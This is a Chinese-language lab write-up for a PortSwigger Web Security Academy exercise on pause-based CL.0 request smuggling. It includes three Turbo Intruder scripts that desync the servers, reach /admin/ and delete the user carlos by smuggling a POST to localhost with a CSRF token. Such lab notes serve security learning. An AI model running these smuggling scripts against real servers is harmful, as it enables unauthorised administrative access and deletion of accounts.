> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/server-side-pause-based-request-smuggling.md).
# 基于服务器端暂停的请求走私
基于服务器端暂停的请求走私笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。
### 基于暂停的服务器端请求走私
该实验室存在基于暂停的服务器端请求走私攻击漏洞。前端服务器会持续将请求传输到内部服务器，而内部服务器在某些端点上经过一段时间无活动后不会关闭连接。
为了解决该实验室：
* 识别一个去同步向量 **CL.0** 基于暂停，
* 向内部服务器走私一个请求以访问管理面板 **/admin**,
* 然后删除用户 **carlos**.
**注意**/ 某些此类漏洞无法使用 Burp 原生工具利用。需要使用 **Turbo Intruder** 扩展。
#### **漏洞点： `/resources`**
通过发送一个请求到 `/resources` 并插入一个很长的暂停（61 秒），可以造成前端和后端之间的去同步：
```http
POST /resources HTTP/1.1
Host: 0a74000e041dbbc380a6498700dd0096.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
GET /error HTTP/1.1
Host: 0a74000e041dbbc380a6498700dd0096.web-security-academy.net
```
为了利用这种行为，我们使用 **Turbo Intruder**.
#### **基础脚本**
默认脚本被修改为插入一个 **61 000 毫秒** 的暂停，在发送标记（`pauseMarker`）之后，这样第二个请求会在延迟后被注入：
分析显示，大约 **62 秒**后有两个请求到达后端，这证实了该漏洞。
```python
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=100,
pipeline=False,
)
attacker_request = """POST /resources HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: %s
%s"""
smuggled_request = """GET /error HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
"""
normal_request = """GET / HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
"""
engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['/r/n/r/nGET'], pauseTime=61000)
engine.queue(normal_request)
def handleResponse(req, interesting):
table.add(req)
```
#### **注入到 `/admin/`**
通过将走私请求调整到管理面板：
```http
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=100,
pipeline=False,
)
attacker_request = """POST /resources HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: %s
%s"""
smuggled_request = """GET /admin/ HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
"""
normal_request = """GET / HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
"""
engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['/r/n/r/nGET'], pauseTime=61000)
engine.queue(normal_request)
def handleResponse(req, interesting):
table.add(req)
```
内部服务器响应 **Found**，证明管理员访问已被强制获取。
#### **删除 Carlos 用户**
为了绕过 CSRF 保护，将走私请求的主机修改为 **localhost**，并包含捕获到令牌的 POST 请求体：
```http
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=100,
pipeline=False,
)
attacker_request = """POST /resources HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: %s
%s"""
smuggled_request = """POST /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 53
csrf=Re4MnOmcNv3hE8gobZocHnS9vcwce2sc&username=carlos
"""
normal_request = """GET / HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
"""
engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['/r/n/r/nPOST'], pauseTime=61000)
engine.queue(normal_request)
def handleResponse(req, interesting):
table.add(req)
```
注入会触发内部服务器上走私的 POST，从而删除用户 **carlos**.
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